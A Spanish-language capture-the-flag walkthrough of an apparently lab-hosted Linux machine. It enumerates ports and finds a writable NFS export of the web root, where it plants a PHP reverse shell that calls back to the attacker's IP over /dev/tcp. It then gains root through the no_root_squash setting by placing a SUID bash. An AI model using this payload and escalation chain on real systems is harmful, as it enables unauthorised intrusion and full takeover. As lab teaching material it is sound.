Identificamos la IP de la máquina víctima:
❯ arp-scan --interface=wlan0 --localnet | grep PCS | awk '{print $1}'
10.42.113.14Enumeramos puertos:
❯ sudo nmap -p- -sS --min-rate 5000 -n -Pn -oG 01-allPorts 10.42.113.14
Starting Nmap 7.98 ( https://nmap.org ) at 2025-10-25 16:33 -0300
Nmap scan report for 10.42.113.14
Host is up (0.00021s latency).
Not shown: 65527 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
111/tcp open rpcbind
2049/tcp open nfs
38787/tcp open unknown
39465/tcp open unknown
56357/tcp open unknown
58721/tcp open unknown
MAC Address: 08:00:27:38:CB:DC (Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 1.06 seconds❯ nmap -sCV -p 22,80,111,2049,38787,39465,56357,58721 -oN 02-targeted.txt 10.42.113.14
Starting Nmap 7.98 ( https://nmap.org ) at 2025-10-25 16:34 -0300
Nmap scan report for 10.42.113.14
Host is up (0.00040s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
| 3072 f0:e6:24:fb:9e:b0:7a:1a:bd:f7:b1:85:23:7f:b1:6f (RSA)
| 256 99:c8:74:31:45:10:58:b0:ce:cc:63:b4:7a:82:57:3d (ECDSA)
|_ 256 60:da:3e:31:38:fa:b5:49:ab:48:c3:43:2c:9f:d1:32 (ED25519)
80/tcp open http Apache httpd 2.4.56 ((Debian))
|_http-server-header: Apache/2.4.56 (Debian)
|_http-title: Apache2 Debian Default Page: It works
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 3,4 111/tcp6 rpcbind
| 100000 3,4 111/udp6 rpcbind
| 100003 3 2049/udp nfs
| 100003 3 2049/udp6 nfs
| 100003 3,4 2049/tcp nfs
| 100003 3,4 2049/tcp6 nfs
| 100005 1,2,3 35597/udp mountd
| 100005 1,2,3 35668/udp6 mountd
| 100005 1,2,3 42137/tcp6 mountd
| 100005 1,2,3 58721/tcp mountd
| 100021 1,3,4 37848/udp nlockmgr
| 100021 1,3,4 38787/tcp nlockmgr
| 100021 1,3,4 46077/tcp6 nlockmgr
| 100021 1,3,4 49973/udp6 nlockmgr
| 100227 3 2049/tcp nfs_acl
| 100227 3 2049/tcp6 nfs_acl
| 100227 3 2049/udp nfs_acl
|_ 100227 3 2049/udp6 nfs_acl
2049/tcp open nfs 3-4 (RPC #100003)
38787/tcp open nlockmgr 1-4 (RPC #100021)
39465/tcp open mountd 1-3 (RPC #100005)
56357/tcp open mountd 1-3 (RPC #100005)
58721/tcp open mountd 1-3 (RPC #100005)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.37 secondsHay un servicio NFS expuesto. Consultamos los recursos exportados:
❯ showmount -e 10.42.113.14
Export list for 10.42.113.14:
/var/www/html *Se exporta /var/www/html, que además es el DocumentRoot del servidor web. Lo montamos en nuestra máquina:
❯ sudo mount -t nfs 10.42.113.14:/var/www/html ./nfs_www -nolockComprobamos que tenemos escritura colocando una reverse shell PHP, que quedará accesible por el web:
❯ cat pwned.php
<?php
shell_exec("bash -c 'bash -i >& /dev/tcp/10.42.113.35/1234 0>&1'");
?>❯ tree nfs_www
nfs_www
├── index.html
└── pwned.phpNos ponemos a la escucha y accedemos a http://10.42.113.14/pwned.php para recibir la shell como low:
❯ ncat -nlvp 1234
Ncat: Version 7.98 ( https://nmap.org/ncat )
Ncat: Listening on [::]:1234
Ncat: Listening on 0.0.0.0:1234
Ncat: Connection from 10.42.113.14:34070.
bash: cannot set terminal process group (494): Inappropriate ioctl for device
bash: no job control in this shell
low@lower3:/var/www/html$Para escalar privilegios, revisamos /etc/exports, la configuración del servidor NFS:
low@lower3:/var/www/html$ cat /etc/exports
/var/www/html/ *(rw,sync,insecure,no_root_squash,no_subtree_check)La export incluye no_root_squash (NFS no_root_squash Privesc). Normalmente, si un cliente accede como root, el servidor lo traduce a UID 65534 (nobody), impidiéndole actuar como root sobre los archivos. Con no_root_squash ese comportamiento se desactiva y el root del cliente conserva privilegios de root en el servidor.
Esto nos permite, montando el recurso como root en el cliente, crear y modificar archivos con propietario root. Copiamos bash al directorio compartido desde la víctima:
low@lower3:/var/www/html$ cp /usr/bin/bash .Y desde nuestro punto de montaje (como root) le asignamos propietario root y el bit SUID:
❯ sudo chown root:root bash
❯ sudo chmod u+s bashFinalmente, ejecutamos el binario SUID desde la víctima para obtener una shell de root:
low@lower3:/var/www/html$ ./bash -p
bash-5.1# whoami
rootObtenemos la flag y fin.